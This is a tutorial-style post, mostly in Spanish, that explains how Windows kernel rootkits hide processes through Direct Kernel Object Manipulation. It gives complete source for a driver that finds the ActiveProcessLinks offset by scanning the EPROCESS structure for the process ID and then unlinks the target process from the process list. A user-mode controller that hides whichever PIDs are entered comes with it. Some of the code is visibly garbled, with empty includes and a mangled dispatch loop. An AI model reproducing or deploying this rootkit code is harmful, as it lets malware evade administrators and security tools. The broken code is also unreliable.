DKOM es una técnica empleada por algunos rootkits de modo kernel para ocultar procesos activos. Para ocultar un proceso con DKOM, el rootkit modifica los miembros Flink (forward-Link, enlace al siguiente) y Blink (backward-link, enlace al anterior) de ActiveProcessLinks en la estructura EPROCESS. Para acceder al miembro ActiveProcessLinks, el rootkit necesita conocer el offset de ActiveProcessLinks. El problema es que este offset es diferente para cada versión de Windows, y el rootkit necesita hardcodear los offsets y detectar el sistema mientras oculta procesos. However, I found the solution for this problem. After some searching on the Internet, I found that the ActiveProcessLinks member is always located next to the UniqueProcessId member of the EPROCESS structure. Por ello, podemos hallar la localización de ActiveProcessLinks escaneando la estructura EPROCESS con el PID del proceso objetivo, evitando a su vez offsets hardcodeados. El siguiente driver oculta procesos con DKOM sin offsets hardcodeados. #include #include UNICODE_STRING DeviceName=RTL_CONSTANT_STRING(L"\\Device\\DKOM_Driver"),SymbolicLink=RTL_CONSTANT_STRING(L"\\DosDevices\\DKOM_Driver"); PDEVICE_OBJECT pDeviceObject; void Unload(PDRIVER_OBJECT pDriverObject) { IoDeleteSymbolicLink(&SymbolicLink); IoDeleteDevice(pDriverObject->DeviceObject); } NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP irp) { PIO_STACK_LOCATION io; PVOID buffer; PEPROCESS Process; PULONG ptr; PLIST_ENTRY PrevListEntry,CurrListEntry,NextListEntry; NTSTATUS status; ULONG i,offset; io=IoGetCurrentIrpStackLocation(irp); irp->IoStatus.Information=0; offset=0; switch(io->MajorFunction) { case IRP_MJ_CREATE: status=STATUS_SUCCESS; break; case IRP_MJ_CLOSE: status=STATUS_SUCCESS; break; case IRP_MJ_READ: status=STATUS_SUCCESS; case IRP_MJ_WRITE: buffer=MmGetSystemAddressForMdlSafe(irp->MdlAddress,NormalPagePriority); if(!buffer) { status=STATUS_INSUFFICIENT_RESOURCES; break; } DbgPrint("Process ID: %d",*(PHANDLE)buffer); if(!NT_SUCCESS(status=PsLookupProcessByProcessId(*(PHANDLE)buffer,&Process))) { DbgPrint("Error: No se pudo abrir el objeto proceso (%#x)",status); break; } DbgPrint("Direccion EPROCESS : %#x",Process); ptr=(PULONG)Process; // Scan the EPROCESS structure for the PID for(i=0;i<512;i++) { if(ptr[i]==*(PULONG)buffer) { offset=(ULONG)&ptr[i+1]-(ULONG)Process; // ActiveProcessLinks is located next to the PID DbgPrint("Offset de ActiveProcessLinks: %#x",offset); break; } } if(!offset) { status=STATUS_UNSUCCESSFUL; break; } CurrListEntry=(PLIST_ENTRY)((PUCHAR)Process+offset); // Get the ActiveProcessLinks address PrevListEntry=CurrListEntry->Blink; NextListEntry=CurrListEntry->Flink; // Unlink the target process from other processes PrevListEntry->Flink=CurrListEntry->Flink; NextListEntry->Blink=CurrListEntry->Blink; // Point Flink and Blink to self CurrListEntry->Flink=CurrListEntry; CurrListEntry->Blink=CurrListEntry; ObDereferenceObject(Process); // Dereference the target process status=STATUS_SUCCESS; irp->IoStatus.Information=sizeof(HANDLE); break; default: status=STATUS_INVALID_DEVICE_REQUEST; break; } irp->IoStatus.Status=status; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { ULONG i; IoCreateDevice(pDriverObject,0,&DeviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,FALSE,&pDeviceObject); IoCreateSymbolicLink(&SymbolicLink,&DeviceName); pDriverObject->DriverUnload=Unload; for(i=0;iMajorFunction[i]=DriverDispatch; } pDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; pDeviceObject->Flags|=DO_DIRECT_IO; return STATUS_SUCCESS; } The following user mode application is used to control the driver. #include #include int main() { HANDLE hFile; DWORD ProcessId,write; hFile=CreateFile("\\\\.\\DKOM_Driver",GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("Error: No se pudo conectar con el driver (%d)\nAsegurese de que el driver esta cargado.",GetLastError()); return -1; } while(1) { printf("\nIntroduce el PID: "); scanf("%d",&ProcessId); if(!WriteFile(hFile,&ProcessId,sizeof(DWORD),&write,NULL)) { printf("\nError: No se pudo ocultar el proceso (%d)\n",GetLastError()); } else { printf("\nProceso ocultado exitosamente.\n"); } } return 0; }